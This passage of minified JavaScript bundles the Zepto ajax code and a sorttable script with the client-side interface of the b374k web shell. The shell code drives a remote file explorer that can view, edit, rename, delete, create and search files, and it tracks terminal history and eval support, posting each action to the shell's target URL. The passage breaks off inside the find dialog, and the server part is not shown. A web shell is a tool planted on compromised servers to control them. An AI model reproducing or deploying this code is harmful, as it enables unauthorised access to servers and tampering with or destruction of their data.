e=c.context,f="success";c.success.call(e,a,f,b),d&&d.resolveWith(e,[a,f,b]),triggerGlobal(c,e,"ajaxSuccess",[b,c,a]),ajaxComplete(f,b,c)}function ajaxError(a,b,c,d,e){var f=d.context;d.error.call(f,c,b,a),e&&e.rejectWith(f,[c,b,a]),triggerGlobal(d,f,"ajaxError",[c,d,a||b]),ajaxComplete(b,c,d)}function ajaxComplete(a,b,c){var d=c.context;c.complete.call(d,b,a),triggerGlobal(c,d,"ajaxComplete",[b,c]),ajaxStop(c)}function empty(){}function mimeToDataType(a){return a&&(a=a.split(";",2)[0]),a&&(a==htmlType?"html":a==jsonType?"json":scriptTypeRE.test(a)?"script":xmlTypeRE.test(a)&&"xml")||"text"}function appendQuery(a,b){return b==""?a:(a+"&"+b).replace(/[&?]{1,2}/,"?")}function serializeData(a){a.processData&&a.data&&$.type(a.data)!="string"&&(a.data=$.param(a.data,a.traditional)),a.data&&(!a.type||a.type.toUpperCase()=="GET")&&(a.url=appendQuery(a.url,a.data),a.data=undefined)}function parseArguments(a,b,c,d){var e=!$.isFunction(b);return{url:a,data:e?b:undefined,success:e?$.isFunction(c)?c:undefined:b,dataType:e?d||c:c}}function serialize(a,b,c,d){var e,f=$.isArray(b),g=$.isPlainObject(b);$.each(b,function(b,h){e=$.type(h),d&&(b=c?d:d+"["+(g||e=="object"||e=="array"?b:"")+"]"),!d&&f?a.add(h.name,h.value):e=="array"||!c&&e=="object"?serialize(a,h,c,b):a.add(b,h)})}var jsonpID=0,document=window.document,key,name,rscript=/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,scriptTypeRE=/^(?:text|application)\/javascript/i,xmlTypeRE=/^(?:text|application)\/xml/i,jsonType="application/json",htmlType="text/html",blankRE=/^\s*$/;$.active=0,$.ajaxJSONP=function(a,b){if("type"in a){var c=a.jsonpCallback,d=($.isFunction(c)?c():c)||"jsonp"+ ++jsonpID,e=document.createElement("script"),f=window[d],g,h=function(a){$(e).triggerHandler("error",a||"abort")},i={abort:h},j;return b&&b.promise(i),$(e).on("load error",function(c,h){clearTimeout(j),$(e).off().remove(),c.type=="error"||!g?ajaxError(null,h||"error",i,a,b):ajaxSuccess(g[0],i,a,b),window[d]=f,g&&$.isFunction(f)&&f(g[0]),f=g=undefined}),ajaxBeforeSend(i,a)===!1?(h("abort"),i):(window[d]=function(){g=arguments},e.src=a.url.replace(/=\?/,"="+d),document.head.appendChild(e),a.timeout>0&&(j=setTimeout(function(){h("timeout")},a.timeout)),i)}return $.ajax(a)},$.ajaxSettings={type:"GET",beforeSend:empty,success:empty,error:empty,complete:empty,context:null,global:!0,xhr:function(){return new window.XMLHttpRequest},accepts:{script:"text/javascript, application/javascript, application/x-javascript",json:jsonType,xml:"application/xml, text/xml",html:htmlType,text:"text/plain"},crossDomain:!1,timeout:0,processData:!0,cache:!0},$.ajax=function(options){var settings=$.extend({},options||{}),deferred=$.Deferred&&$.Deferred();for(key in $.ajaxSettings)settings[key]===undefined&&(settings[key]=$.ajaxSettings[key]);ajaxStart(settings),settings.crossDomain||(settings.crossDomain=/^([\w-]+:)?\/\/([^\/]+)/.test(settings.url)&&RegExp.$2!=window.location.host),settings.url||(settings.url=window.location.toString()),serializeData(settings),settings.cache===!1&&(settings.url=appendQuery(settings.url,"_="+Date.now()));var dataType=settings.dataType,hasPlaceholder=/=\?/.test(settings.url);if(dataType=="jsonp"||hasPlaceholder)return hasPlaceholder||(settings.url=appendQuery(settings.url,settings.jsonp?settings.jsonp+"=?":settings.jsonp===!1?"":"callback=?")),$.ajaxJSONP(settings,deferred);var mime=settings.accepts[dataType],headers={},setHeader=function(a,b){headers[a.toLowerCase()]=[a,b]},protocol=/^([\w-]+:)\/\//.test(settings.url)?RegExp.$1:window.location.protocol,xhr=settings.xhr(),nativeSetHeader=xhr.setRequestHeader,abortTimeout;deferred&&deferred.promise(xhr),settings.crossDomain||setHeader("X-Requested-With","XMLHttpRequest"),setHeader("Accept",mime||"*/*");if(mime=settings.mimeType||mime)mime.indexOf(",")>-1&&(mime=mime.split(",",2)[0]),xhr.overrideMimeType&&xhr.overrideMimeType(mime);(settings.contentType||settings.contentType!==!1&&settings.data&&settings.type.toUpperCase()!="GET")&&setHeader("Content-Type",settings.contentType||"application/x-www-form-urlencoded");if(settings.headers)for(name in settings.headers)setHeader(name,settings.headers[name]);xhr.setRequestHeader=setHeader,xhr.onreadystatechange=function(){if(xhr.readyState==4){xhr.onreadystatechange=empty,clearTimeout(abortTimeout);var result,error=!1;if(xhr.status>=200&&xhr.status<300||xhr.status==304||xhr.status==0&&protocol=="file:"){dataType=dataType||mimeToDataType(settings.mimeType||xhr.getResponseHeader("content-type")),result=xhr.responseText;try{dataType=="script"?(1,eval)(result):dataType=="xml"?result=xhr.responseXML:dataType=="json"&&(result=blankRE.test(result)?null:$.parseJSON(result))}catch(e){error=e}error?ajaxError(error,"parsererror",xhr,settings,deferred):ajaxSuccess(result,xhr,settings,deferred)}else ajaxError(xhr.statusText||null,xhr.status?"error":"abort",xhr,settings,deferred)}};if(ajaxBeforeSend(xhr,settings)===!1)return xhr.abort(),ajaxError(null,"abort",xhr,settings,deferred),xhr;if(settings.xhrFields)for(name in settings.xhrFields)xhr[name]=settings.xhrFields[name];var async="async"in settings?settings.async:!0;xhr.open(settings.type,settings.url,async,settings.username,settings.password);for(name in headers)nativeSetHeader.apply(xhr,headers[name]);return settings.timeout>0&&(abortTimeout=setTimeout(function(){xhr.onreadystatechange=empty,xhr.abort(),ajaxError(null,"timeout",xhr,settings,deferred)},settings.timeout)),xhr.send(settings.data?settings.data:null),xhr},$.get=function(a,b,c,d){return $.ajax(parseArguments.apply(null,arguments))},$.post=function(a,b,c,d){var e=parseArguments.apply(null,arguments);return e.type="POST",$.ajax(e)},$.getJSON=function(a,b,c){var d=parseArguments.apply(null,arguments);return d.dataType="json",$.ajax(d)},$.fn.load=function(a,b,c){if(!this.length)return this;var d=this,e=a.split(/\s/),f,g=parseArguments(a,b,c),h=g.success;return e.length>1&&(g.url=e[0],f=e[1]),g.success=function(a){d.html(f?$("<div>").html(a.replace(rscript,"")).find(f):a),h&&h.apply(d,arguments)},$.ajax(g),this};var escape=encodeURIComponent;$.param=function(a,b){var c=[];return c.add=function(a,b){this.push(escape(a)+"="+escape(b))},serialize(c,a,b),c.join("&").replace(/%20/g,"+")}}(Zepto),function(a){a.fn.serializeArray=function(){var b=[],c;return a([].slice.call(this.get(0).elements)).each(function(){c=a(this);var d=c.attr("type");this.nodeName.toLowerCase()!="fieldset"&&!this.disabled&&d!="submit"&&d!="reset"&&d!="button"&&(d!="radio"&&d!="checkbox"||this.checked)&&b.push({name:c.attr("name"),value:c.val()})}),b},a.fn.serialize=function(){var a=[];return this.serializeArray().forEach(function(b){a.push(encodeURIComponent(b.name)+"="+encodeURIComponent(b.value))}),a.join("&")},a.fn.submit=function(b){if(b)this.bind("submit",b);else if(this.length){var c=a.Event("submit");this.eq(0).trigger(c),c.isDefaultPrevented()||this.get(0).submit()}return this}}(Zepto),function(a){"__proto__"in{}||a.extend(a.zepto,{Z:function(b,c){return b=b||[],a.extend(b,a.fn),b.selector=c||"",b.__Z=!0,b},isZ:function(b){return a.type(b)==="array"&&"__Z"in b}});try{getComputedStyle(undefined)}catch(b){var c=getComputedStyle;window.getComputedStyle=function(a){try{return c(a)}catch(b){return null}}}}(Zepto)
5547var h=!0,j=!1;sorttable={e:function(){arguments.callee.i||(arguments.callee.i=h,k&&clearInterval(k),document.createElement&&document.getElementsByTagName&&(sorttable.a=/^(\d\d?)[\/\.-](\d\d?)[\/\.-]((\d\d)?\d\d)$/,l(document.getElementsByTagName("table"),function(a){-1!=a.className.search(/\bsortable\b/)&&sorttable.k(a)})))},k:function(a){0==a.getElementsByTagName("thead").length&&(the=document.createElement("thead"),the.appendChild(a.rows[0]),a.insertBefore(the,a.firstChild));null==a.tHead&&(a.tHead=a.getElementsByTagName("thead")[0]);if(1==a.tHead.rows.length){sortbottomrows=[];for(var b=0;b<a.rows.length;b++)-1!=a.rows[b].className.search(/\bsortbottom\b/)&&(sortbottomrows[sortbottomrows.length]=a.rows[b]);if(sortbottomrows){null==a.tFoot&&(tfo=document.createElement("tfoot"),a.appendChild(tfo));for(b=0;b<sortbottomrows.length;b++)tfo.appendChild(sortbottomrows[b]);delete sortbottomrows}headrow=a.tHead.rows[0].cells;for(b=0;b<headrow.length;b++)if(!headrow[b].className.match(/\bsorttable_nosort\b/)){(mtch=headrow[b].className.match(/\bsorttable_([a-z0-9]+)\b/))&&(override=mtch[1]);headrow[b].p=mtch&&"function"==typeof sorttable["sort_"+override]?sorttable["sort_"+override]:sorttable.j(a,b);headrow[b].o=b;headrow[b].c=a.tBodies[0];var c=headrow[b],e=sorttable.q=function(){if(-1!=this.className.search(/\bsorttable_sorted\b/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted","sorttable_sorted_reverse"),this.removeChild(document.getElementById("sorttable_sortfwdind")),sortrevind=document.createElement("span"),sortrevind.id="sorttable_sortrevind",sortrevind.innerHTML=" ▴",this.appendChild(sortrevind);else if(-1!=this.className.search(/\bsorttable_sorted_reverse\b/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted_reverse","sorttable_sorted"),this.removeChild(document.getElementById("sorttable_sortrevind")),sortfwdind=document.createElement("span"),sortfwdind.id="sorttable_sortfwdind",sortfwdind.innerHTML=" ▾",this.appendChild(sortfwdind);else{theadrow=this.parentNode;l(theadrow.childNodes,function(a){1==a.nodeType&&(a.className=a.className.replace("sorttable_sorted_reverse",""),a.className=a.className.replace("sorttable_sorted",""))});(sortfwdind=document.getElementById("sorttable_sortfwdind"))&&sortfwdind.parentNode.removeChild(sortfwdind);(sortrevind=document.getElementById("sorttable_sortrevind"))&&sortrevind.parentNode.removeChild(sortrevind);this.className+=" sorttable_sorted";sortfwdind=document.createElement("span");sortfwdind.id="sorttable_sortfwdind";sortfwdind.innerHTML=" ▾";this.appendChild(sortfwdind);row_array=[];col=this.o;rows=this.c.rows;for(var a=0;a<rows.length;a++)row_array[row_array.length]=[sorttable.d(rows[a].cells[col]),rows[a]];row_array.sort(this.p);tb=this.c;for(a=0;a<row_array.length;a++)tb.appendChild(row_array[a][1]);delete row_array}};if(c.addEventListener)c.addEventListener("click",e,j);else{e.f||(e.f=n++);c.b||(c.b={});var g=c.b.click;g||(g=c.b.click={},c.onclick&&(g[0]=c.onclick));g[e.f]=e;c.onclick=p}}}},j:function(a,b){sortfn=sorttable.l;for(var c=0;c<a.tBodies[0].rows.length;c++)if(text=sorttable.d(a.tBodies[0].rows[c].cells[b]),""!=text){if(text.match(/^-?[\u00a3$\u00a4]?[\d,.]+%?$/))return sorttable.n;if(possdate=text.match(sorttable.a)){first=parseInt(possdate[1]);second=parseInt(possdate[2]);if(12<first)return sorttable.g;if(12<second)return sorttable.m;sortfn=sorttable.g}}return sortfn},d:function(a){if(!a)return"";hasInputs="function"==typeof a.getElementsByTagName&&a.getElementsByTagName("input").length;if(""!=a.title)return a.title;if("undefined"!=typeof a.textContent&&!hasInputs)return a.textContent.replace(/^\s+|\s+$/g,"");if("undefined"!=typeof a.innerText&&!hasInputs)return a.innerText.replace(/^\s+|\s+$/g,"");if("undefined"!=typeof a.text&&!hasInputs)return a.text.replace(/^\s+|\s+$/g,"");switch(a.nodeType){case 3:if("input"==a.nodeName.toLowerCase())return a.value.replace(/^\s+|\s+$/g,"");case 4:return a.nodeValue.replace(/^\s+|\s+$/g,"");case 1:case 11:for(var b="",c=0;c<a.childNodes.length;c++)b+=sorttable.d(a.childNodes[c]);return b.replace(/^\s+|\s+$/g,"");default:return""}},reverse:function(a){newrows=[];for(var b=0;b<a.rows.length;b++)newrows[newrows.length]=a.rows[b];for(b=newrows.length-1;0<=b;b--)a.appendChild(newrows[b]);delete newrows},n:function(a,b){aa=parseFloat(a[0].replace(/[^0-9.-]/g,""));isNaN(aa)&&(aa=0);bb=parseFloat(b[0].replace(/[^0-9.-]/g,""));isNaN(bb)&&(bb=0);return aa-bb},l:function(a,b){return a[0].toLowerCase()==b[0].toLowerCase()?0:a[0].toLowerCase()<b[0].toLowerCase()?-1:1},g:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},m:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},r:function(a,b){for(var c=0,e=a.length-1,g=h;g;){for(var g=j,f=c;f<e;++f)0<b(a[f],a[f+1])&&(g=a[f],a[f]=a[f+1],a[f+1]=g,g=h);e--;if(!g)break;for(f=e;f>c;--f)0>b(a[f],a[f-1])&&(g=a[f],a[f]=a[f-1],a[f-1]=g,g=h);c++}}};document.addEventListener&&document.addEventListener("DOMContentLoaded",sorttable.e,j);if(/WebKit/i.test(navigator.userAgent))var k=setInterval(function(){/loaded|complete/.test(document.readyState)&&sorttable.e()},10);window.onload=sorttable.e;var n=1;function p(a){var b=h;a||(a=((this.ownerDocument||this.document||this).parentWindow||window).event,a.preventDefault=q,a.stopPropagation=r);var c=this.b[a.type],e;for(e in c)this.h=c[e],this.h(a)===j&&(b=j);return b}function q(){this.returnValue=j}function r(){this.cancelBubble=h}Array.forEach||(Array.forEach=function(a,b,c){for(var e=0;e<a.length;e++)b.call(c,a[e],e,a)});Function.prototype.forEach=function(a,b,c){for(var e in a)"undefined"==typeof this.prototype[e]&&b.call(c,a[e],e,a)};String.forEach=function(a,b,c){Array.forEach(a.split(""),function(e,g){b.call(c,e,g,a)})};function l(a,b){if(a){var c=Object;if(a instanceof Function)c=Function;else{if(a.forEach instanceof Function){a.forEach(b,void 0);return}"string"==typeof a?c=String:"number"==typeof a.length&&(c=Array)}c.forEach(a,b,void 0)}};var loading_count=0;var running=false;var defaultTab='explorer';var currentTab=$('#'+defaultTab);var tabScroll=new Object;var onDrag=false;var onScroll=false;var scrollDelta=1;var scrollCounter=0;var scrollSpeed=60;var scrollTimer='';var dragX='';var dragY='';var dragDeltaX='';var dragDeltaY='';var editSuccess='';var terminalHistory=new Array();var terminalHistoryPos=0;var evalSupported="";var evalReady=false;var resizeTimer='';var portableWidth=700;var portableMode=null;Zepto(function($){if(init_shell){var now=new Date();output("started @ "+now.toGMTString());output("cwd : "+get_cwd());output("module : "+module_to_load);show_tab();xpl_bind();eval_init();window_resize();xpl_update_status();$(window).on('resize',function(e){clearTimeout(resizeTimer);resizeTimer=setTimeout("window_resize()",1000)});$('.menuitem').on('click',function(e){selectedTab=$(this).attr('href').substr(2);show_tab(selectedTab)});$('#logout').on('click',function(e){var cookie=document.cookie.split(';');for(var i=0;i<cookie.length;i++){var entries=cookie[i],entry=entries.split("="),name=entry[0];document.cookie=name+"=''; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/"}localStorage.clear();location.href=targeturl});$('#totop').on('click',function(e){$(window).scrollTop(0)});$('#totop').on('mouseover',function(e){onScroll=true;clearTimeout(scrollTimer);start_scroll('top')});$('#totop').on('mouseout',function(e){onScroll=false;scrollCounter=0});$('#tobottom').on('click',function(e){$(window).scrollTop($(document).height()-$(window).height())});$('#tobottom').on('mouseover',function(e){onScroll=true;clearTimeout(scrollTimer);start_scroll('bottom')});$('#tobottom').on('mouseout',function(e){onScroll=false;scrollCounter=0});$('#basicInfo').on('mouseenter',function(e){$('#toggleBasicInfo').show()});$('#basicInfo').on('mouseleave',function(e){$('#toggleBasicInfo').hide()});$('#toggleBasicInfo').on('click',function(e){$('#basicInfo').hide();$('#showinfo').show();$('#toggleBasicInfo').hide();localStorage.setItem('infoBarShown','hidden')});$('#showinfo').on('click',function(e){$('#basicInfo').show();$('#showinfo').hide();localStorage.setItem('infoBarShown','shown')});if((infoBarShown=localStorage.getItem('infoBarShown'))){if(infoBarShown=='shown'){$('#basicInfo').show();$('#showinfo').hide()}else{$('#basicInfo').hide();$('#showinfo').show();$('#toggleBasicInfo').hide()}}else{info_refresh()}if(history.pushState){window.onpopstate=function(event){refresh_tab()}}else{window.historyEvent=function(event){refresh_tab()}}}});function output(str){console.log('b374k> '+str)}function window_resize(){bodyWidth=$('body').width();if(bodyWidth<=portableWidth){layout_portable()}else{layout_normal()}}function layout_portable(){nav=$('#nav');menu=$('#menu');headerNav=$('#headerNav');content=$('#content');nav.prependTo('#content');nav.css('padding','5px 8px');nav.css('margin-top','8px');nav.css('display','block');nav.addClass('border');menu.children().css('width','100%');menu.hide();$('#menuButton').remove();headerNav.prepend("<div id='menuButton' class='boxtitle' onclick=\"$('#menu').toggle();\" style='float-left;display:inline;padding:4px 8px;margin-right:8px;'>menu</div>");menu.attr('onclick',"\$('#menu').hide();");$('#xplTable tr>:nth-child(4)').hide();$('#xplTable tr>:nth-child(5)').hide();if(!win){$('#xplTable tr>:nth-child(6)').hide()}tblfoot=$('#xplTable tfoot td:last-child');if(tblfoot[0])tblfoot[0].colSpan=1;if(tblfoot[1])tblfoot[1].colSpan=2;$('.box').css('width','100%');$('.box').css('height','100%');$('.box').css('left','0px');$('.box').css('top','0px');paddingTop=$('#header').height();content.css('padding-top',paddingTop+'px');portableMode=true}function layout_normal(){nav=$('#nav');menu=$('#menu');content=$('#content');nav.insertAfter('#b374k');nav.css('padding','0');nav.css('margin-top','0');nav.css('display','inline');nav.removeClass('border');menu.children().css('width','auto');menu.show();$('#menuButton').remove();menu.attr('onclick',"");$('#xplTable tr>:nth-child(4)').show();$('#xplTable tr>:nth-child(5)').show();if(!win){$('#xplTable tr>:nth-child(6)').show();colspan=4}else colspan=3;tblfoot=$('#xplTable tfoot td:last-child');if(tblfoot[0])tblfoot[0].colSpan=colspan;if(tblfoot[1])tblfoot[1].colSpan=colspan+1;paddingTop=$('#header').height();content.css('padding-top',paddingTop+'px');portableMode=false}function start_scroll(str){if(str=='top'){to=$(window).scrollTop()-scrollCounter;scrollCounter=scrollDelta+scrollCounter;if(to<=0){to=0;onScroll=false}else if(onScroll){scrollTimer=setTimeout("start_scroll('top')",scrollSpeed);$(window).scrollTop(to)}}else if(str=='bottom'){to=$(window).scrollTop()+scrollCounter;scrollCounter=scrollDelta+scrollCounter;bottom=$(document).height()-$(window).height();if(to>=bottom){to=bottom;onScroll=false}else if(onScroll){scrollTimer=setTimeout("start_scroll('bottom')",scrollSpeed);$(window).scrollTop(to)}}}function get_cwd(){return decodeURIComponent(get_cookie('cwd'))}function fix_tabchar(el,e){if(e.keyCode==9){e.preventDefault();var s=el.selectionStart;el.value=el.value.substring(0,el.selectionStart)+"\t"+el.value.substring(el.selectionEnd);el.selectionEnd=s+1}}function get_cookie(key){var res;return(res=new RegExp('(?:^|; )'+encodeURIComponent(key)+'=([^;]*)').exec(document.cookie))?(res[1]):null}function set_cookie(key,value){document.cookie=key+'='+encodeURIComponent(value)}function html_safe(str){if(typeof(str)=="string"){str=str.replace(/&/g,"&");str=str.replace(/"/g,""");str=str.replace(/'/g,"'");str=str.replace(/</g,"<");str=str.replace(/>/g,">")}return str}function ucfirst(str){return str.charAt(0).toUpperCase()+str.slice(1)}function time(){var d=new Date();return d.getTime()}function send_post(targetdata,callback,loading){if(loading==null)loading_start();$.ajax({url:targeturl,type:'POST',data:targetdata,success:function(res){callback(res);if(loading==null)loading_stop()},error:function(){if(loading==null)loading_stop()}})}function loading_start(){if(!running){$('#overlay').show();running=true;loading_loop()}}function loading_loop(){if(running){img=$('#loading');img.css('transform','rotate('+loading_count+'deg)');img.css('-ms-transform','rotate('+loading_count+'deg)');img.css('-webkit-transform','rotate('+loading_count+'deg)');loading_count+=7;if(loading_count>360)loading_count=0;if(running)setTimeout("loading_loop()",20)}}function loading_stop(){if(running){img=$('#loading');img.css('transform','rotate(0deg)');img.css('-ms-transform','rotate(0deg)');img.css('-webkit-transform','rotate(0deg)');$('#overlay').hide();running=false}}function show_tab(id){if(!id){if(location.hash!='')id=location.hash.substr(2);else id=defaultTab}refresh_tab(id)}function refresh_tab(id){if(!id){if(location.hash!='')id=location.hash.substr(2);else id=defaultTab}$('.menuitemSelected').removeClass("menuitemSelected");$('#menu'+id).addClass("menuitemSelected");tabScroll[currentTab.attr('id')]=$(window).scrollTop();currentTab.hide();currentTab=$('#'+id);currentTab.show();window[id]();if(tabScroll[id]){$(window).scrollTop(tabScroll[id])}hide_box()}function trap_enter(e,callback){if(e.keyCode==13){if(callback!=null)window[callback]()}}function show_box(title,content){onDrag=false;hide_box();box="<div class='box'><p class='boxtitle'>"+title+"<span class='boxclose floatRight'>x</span></p><div class='boxcontent'>"+content+"</div><div class='boxresult'></div></div>";$('#content').append(box);box_width=$('.box').width();body_width=$('body').width();box_height=$('.box').height();body_height=$('body').height();x=(body_width-box_width)/2;y=(body_height-box_height)/2;if(x<0||portableMode)x=0;if(y<0||portableMode)y=0;if(portableMode){$('.box').css('width','100%');$('.box').css('height','100%')}$('.box').css('left',x+'px');$('.box').css('top',y+'px');$('.boxclose').on('click',function(e){hide_box()});if(!portableMode){$('.boxtitle').on('click',function(e){if(!onDrag){dragDeltaX=e.pageX-parseInt($('.box').css('left'));dragDeltaY=e.pageY-parseInt($('.box').css('top'));drag_start()}else drag_stop()})}$(document).off('keyup');$(document).on('keyup',function(e){if(e.keyCode==27)hide_box()});if($('.box input')[0])$('.box input')[0].focus()}function hide_box(){$(document).off('keyup');$('.box').remove()}function drag_start(){if(!onDrag){onDrag=true;$('body').off('mousemove');$('body').on('mousemove',function(e){dragX=e.pageX;dragY=e.pageY});setTimeout('drag_loop()',50)}}function drag_loop(){if(onDrag){x=dragX-dragDeltaX;y=dragY-dragDeltaY;if(y<0)y=0;$('.box').css('left',x+'px');$('.box').css('top',y+'px');setTimeout('drag_loop()',50)}}function drag_stop(){onDrag=false;$('body').off('mousemove')}function get_all_cbox_selected(id,callback){var buffer=new Array();$('#'+id).find('.cBoxSelected').not('.cBoxAll').each(function(i){if((href=window[callback]($(this)))){buffer[i]=href}});return buffer}function cbox_bind(id,callback){$('#'+id).find('.cBox').off('click');$('#'+id).find('.cBoxAll').off('click');$('#'+id).find('.cBox').on('click',function(e){if($(this).hasClass('cBoxSelected')){$(this).removeClass('cBoxSelected')}else $(this).addClass('cBoxSelected');if(callback!=null)window[callback]()});$('#'+id).find('.cBoxAll').on('click',function(e){if($(this).hasClass('cBoxSelected')){$('#'+id).find('.cBox').removeClass('cBoxSelected');$('#'+id).find('.cBoxAll').removeClass('cBoxSelected')}else{$('#'+id).find('.cBox').not('.cBoxException').addClass('cBoxSelected');$('#'+id).find('.cBoxAll').not('.cBoxException').addClass('cBoxSelected')}if(callback!=null)window[callback]()})}function action(path,type){title="Action";content='';if(type=='file')content="<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='edit button'>edit</span><span class='ren button'>rename</span><span class='del button'>delete</span><span class='dl button'>download</span></td></tr></table>";if(type=='dir')content="<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='find button'>find</span><span class='ul button'>upload</span><span class='ren button'>rename</span><span class='del button'>delete</span></td></tr></table>";if(type=='dot')content="<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='find button'>find</span><span class='ul button'>upload</span><span class='ren button'>rename</span><span class='del button'>delete</span><span class='newfile button'>new file</span><span class='newfolder button'>new folder</span></td></tr></table>";show_box(title,content);xpl_bind()}function navigate(path,showfiles){if(showfiles==null)showfiles='true';send_post({cd:path,showfiles:showfiles},function(res){if(res!='error'){splits=res.split('{[|b374k|]}');if(splits.length==3){$('#nav').html(splits[1]);if(showfiles=='true'){$('#explorer').html('');$('#explorer').html(splits[2]);sorttable.k($('#xplTable').get(0))}$('#terminalCwd').html(html_safe(get_cwd())+'>');xpl_bind();window_resize()}}})}function view(path,type,preserveTimestamp){if(preserveTimestamp==null)preserveTimestamp='true';send_post({viewFile:path,viewType:type,preserveTimestamp:preserveTimestamp},function(res){if(res!='error'){$('#explorer').html('');$('#explorer').html(res);xpl_bind();show_tab('explorer');if((type=='edit')||(type=='hex')){editResult=(type=='edit')?$('#editResult'):$('#editHexResult');if(editSuccess=='success'){editResult.html(' ( File saved )')}else if(editSuccess=='error'){editResult.html(' ( Failed to save file )')}editSuccess=''}cbox_bind('editTbl')}})}function view_entry(el){if($(el).attr('data-path')!=''){entry=$(el).attr('data-path');$('#form').append("<input type='hidden' name='viewEntry' value='"+entry+"'>");$('#form').submit();$('#form').html('')}}function ren(path){title="Rename";content="<table class='boxtbl'><tr><td class='colFit'>Rename to</td><td><input type='text' class='renameFileTo' value='"+path+"' onkeydown=\"trap_enter(event, 'ren_go');\"><input type='hidden' class='renameFile' value='"+path+"'></td></tr><tr><td colspan='2'><span class='button' onclick='ren_go();'>rename</span></td></tr></table>";show_box(title,content)}function ren_go(){renameFile=$('.renameFile').val();renameFileTo=$('.renameFileTo').val();send_post({renameFile:renameFile,renameFileTo:renameFileTo},function(res){if(res!='error'){navigate(res);$('.boxresult').html('Operation(s) succeeded');$('.renameFile').val($('.renameFileTo').val())}else $('.boxresult').html('Operation(s) failed')})}function newfolder(path){title="New Folder";path=path+'newfolder-'+time();content="<table class='boxtbl'><tr><td class='colFit'>Folder Name</td><td><input type='text' class='newFolder' value='"+path+"' onkeydown=\"trap_enter(event, 'newfolder_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='newfolder_go();'>create</span></td></tr></table>";show_box(title,content)}function newfolder_go(){newFolder=$('.newFolder').val();send_post({newFolder:newFolder},function(res){if(res!='error'){navigate(res);$('.boxresult').html('Operation(s) succeeded')}else $('.boxresult').html('Operation(s) failed')})}function newfile(path){title="New File";path=path+'newfile-'+time();content="<table class='boxtbl'><tr><td class='colFit'>File Name</td><td><input type='text' class='newFile' value='"+path+"' onkeydown=\"trap_enter(event, 'newfile_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='newfile_go();'>create</span></td></tr></table>";show_box(title,content)}function newfile_go(){newFile=$('.newFile').val();send_post({newFile:newFile},function(res){if(res!='error'){view(newFile,'edit');$('.boxresult').html('Operation(s) succeeded')}else $('.boxresult').html('Operation(s) failed')})}function viewfileorfolder(){title="View File / Folder";content="<table class='boxtbl'><tr><td><input type='text' class='viewFileorFolder' value='"+html_safe(get_cwd())+"' onkeydown=\"trap_enter(event, 'viewfileorfolder_go');\"></td></tr><tr><td><span class='button' onclick='viewfileorfolder_go();'>view</span></td></tr></table>";show_box(title,content)}function viewfileorfolder_go(){entry=$('.viewFileorFolder').val();send_post({viewFileorFolder:entry},function(res){if(res!='error'){if(res=='file'){view(entry,'auto');show_tab('explorer')}else if(res=='folder'){navigate(entry);show_tab('explorer')}}})}function del(path){title="Delete";content="<table class='boxtbl'><tr><td class='colFit'>Delete</td><td><input type='text' class='delete' value='"+path+"' onkeydown=\"trap_enter(event, 'delete_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='delete_go();'>delete</span></td></tr></table>";show_box(title,content)}function delete_go(){path=$('.delete').val();send_post({delete:path},function(res){if(res!='error'){navigate(res);$('.boxresult').html('Operation(s) succeeded')}else $('.boxresult').html('Operation(s) failed')})}function find(path){findfile="<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find File</p></th></tr></thead><tbody><tr><td style='width:144px'>Search in</td><td><input type='text' class='findfilePath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td style='border-bottom:none;'>Filename contains</td><td style='border-bottom:none;'><input type='text' class='findfileFilename' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileFilenameRegex'></span><span class='floatLeft'>Regex</span> <span class='cBox findfileFilenameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td style='border-bottom:none;'>File contains</td><td style='border-bottom:none;'><input type='text' class='findfileContains' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileContainsRegex'></span><span class='floatLeft'>Regex</span> <span class='cBox findfileContainsInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findfileReadable'></span><span class='floatLeft'>Readable</span> <span class='cBox findfileWritable'></span><span class='floatLeft'>Writable</span> <span class='cBox findfileExecutable'></span><span class='floatLeft'>Executable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_file();\">find</span></td></tr><tr><td colspan='2' class='findfileResult'></td></tr></tfoot></table>";findfolder="<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find Folder</p></th></tr></thead><tbody><tr><td style='width:144px'>Search in</td><td><input type='text' class='findFolderPath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td style='border-bottom:none;'>Foldername contains</td><td style='border-bottom:none;'><input type='text' class='findFoldername' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td></td><td><span class='cBox findFoldernameRegex'></span><span class='floatLeft'>Regex</span> <span class='cBox findFoldernameInsensitive'></span><span class='floatLeft'>Case 